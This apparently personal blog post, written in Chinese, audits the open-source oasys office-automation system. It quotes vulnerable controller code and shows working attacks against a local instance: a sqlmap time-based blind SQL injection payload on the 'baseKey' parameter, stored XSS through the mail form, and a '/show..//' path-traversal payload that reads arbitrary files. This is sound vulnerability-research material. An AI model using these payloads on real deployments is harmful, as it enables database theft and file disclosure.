经典oasys(OA自动化办公系统)审计

前言

累累的,审完这个回去看小说,(没审完也去看小说了

分析

https://gitee.com/aaluoxiang/oa_system

也是很经典的springboot+mybatis,下载好maven依赖,搭好数据库,环境就直接可以启动了

fastjson

先看看依赖的nday啥的,发现是fastjson的1.2.36,但是全局搜了一下,发现只有序列化的点

image-20230401211801781

没有反序列化的点,所以也没办法利用

sql注入

常规思路,全局搜索${,发现like语句基本上都是这个

看第一个,在notice-mapper.xml

image-20230401214908090

直接跟过去sortMyNotice,找到接口,然后找调用,发现只有一处调用

@RequestMapping("informlistpaging")
public String informListPaging(@RequestParam(value = "pageNum", defaultValue = "1") int page,
@RequestParam(value = "baseKey", required = false) String baseKey,
@RequestParam(value="type",required=false) Integer type,
@RequestParam(value="status",required=false) Integer status,
@RequestParam(value="time",required=false) Integer time,
@RequestParam(value="icon",required=false) String icon,
@SessionAttribute("userId") Long userId,
Model model,HttpServletRequest req){
System.out.println("baseKey:"+baseKey);
System.out.println("page:"+page);
setSomething(baseKey, type, status, time, icon, model);
PageHelper.startPage(page, 10);
List<Map<String, Object>> list=nm.sortMyNotice(userId, baseKey, type, status, time);
PageInfo<Map<String, Object>> pageinfo=new PageInfo<Map<String, Object>>(list);
...

注入点就是这个baseKey参数,但是这个是在后台的,我们利用测试账户test/test进去,直接上sqlmap,可以用盲注跑出来

---
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://localhost:80/informlistpaging?baseKey=' AND (SELECT 3666 FROM (SELECT(SLEEP(5)))qzDv) AND 'PGaA'='PGaA
---
[21:40:17] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[21:40:17] [INFO] fetching database names
[21:40:17] [INFO] fetching number of databases
[21:40:17] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[21:40:17] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
14
[21:40:31] [INFO] retrieved:
[21:40:36] [INFO] adjusting time delay to 1 second due to good response times
informati^C

还有另外一个文件address-mapper.xml

image-20230401215600526

一样的方法,直接找到调用

/**
外部通讯录
* @return
*/
@RequestMapping("outaddresspaging")
public String outAddress(@RequestParam(value="pageNum",defaultValue="1") int page,Model model,
@RequestParam(value="baseKey",required=false) String baseKey,
@RequestParam(value="outtype",required=false) String outtype,
@RequestParam(value="alph",defaultValue="ALL") String alph,
@SessionAttribute("userId") Long userId
){
PageHelper.startPage(page, 10);
List<Map<String, Object>> directors=am.allDirector(userId, alph, outtype, baseKey);
...

访问对应路由,抓个包发现了对应xml文件的三个参数,都给加上*号,sqlmap直接跑

image-20230401215334688

不出意外,都存在注入

xss

秉承着见框就叉的原则,看到这个可以发邮件自然不能错过

image-20230401220738389

admin用户那边也确实执行了xss攻击

image-20230401220632264

这是黑盒测试,能直接叉,应该是没写过滤器的,我们再看看他对应的代码

/**
* 发送邮件
*
* @throws IOException
* @throws IllegalStateException
*/
@RequestMapping("pushmail")
public String push(@RequestParam("file") MultipartFile file, HttpServletRequest request,
@Valid Inmaillist mail, BindingResult br, @SessionAttribute("userId") Long userId) throws IllegalStateException, IOException {
User tu = udao.findOne(userId);

String name = null;
Attachment attaid = null;
Mailnumber number = null;
StringTokenizer st = null;
ResultVO res = BindingResultVOUtil.hasErrors(br);
if (!ResultEnum.SUCCESS.getCode().equals(res.getCode())) {
List<Object> list = new MapToList<>().mapToList(res.getData());
request.setAttribute("errormess", list.get(0).toString());
} else {
if (!StringUtil.isEmpty(request.getParameter("fasong"))) {
name = request.getParameter("fasong");
}


if (!StringUtil.isEmpty(name)) {
if (!StringUtil.isEmpty(file.getOriginalFilename())) {
attaid = mservice.upload(file, tu);
attaid.setModel("mail");
AttDao.save(attaid);
}
//发送成功
mail.setPush(true);
...

没有过滤,获取参数后,就直接save了

还有其他的很多地方,代码都差不多,秉承着见框就叉的原则就完事了,这里不一一举例了

任意文件读取

参考这个师傅

主要是利用替换操作,我们可以构造对应的payload

/**
* 图片预览
* @param response
* @param fileid
*/
@RequestMapping("show/**")
public void image(Model model, HttpServletResponse response, @SessionAttribute("userId") Long userId, HttpServletRequest request)
throws IOException {

String startpath = new String(URLDecoder.decode(request.getRequestURI(), "utf-8"));

String path = startpath.replace("/show", "");
System.out.println(path);

File f = new File(rootpath, path);
System.out.println(f.getAbsolutePath());
ServletOutputStream sos = response.getOutputStream();
FileInputStream input = new FileInputStream(f.getPath());
byte[] data = new byte[(int) f.length()];
IOUtils.readFully(input, data);
// 将文件流输出到浏览器
IOUtils.write(data, sos);
input.close();
sos.close();
}
/show//show..//show..//show..//show..//show..//show..//show..//show..//show..//show..//show..//show..//show..//show..//tmp/3.txt

image-20230402132353099

image-20230402132123474

但两处的获取路径不太一样,image是从当前路径开始,show是获取绝对路径,这里可以自行添加代码输出查看或者调试

截屏2023-04-02 13.27.19

todo…

经典oasys(OA自动化办公系统)审计

https://lhxhl.github.io/2023/04/01/oasys/

作者

秋秋晚

发布于

2023-04-01

更新于

2023-04-02

许可协议

评论

:D 一言句子获取中...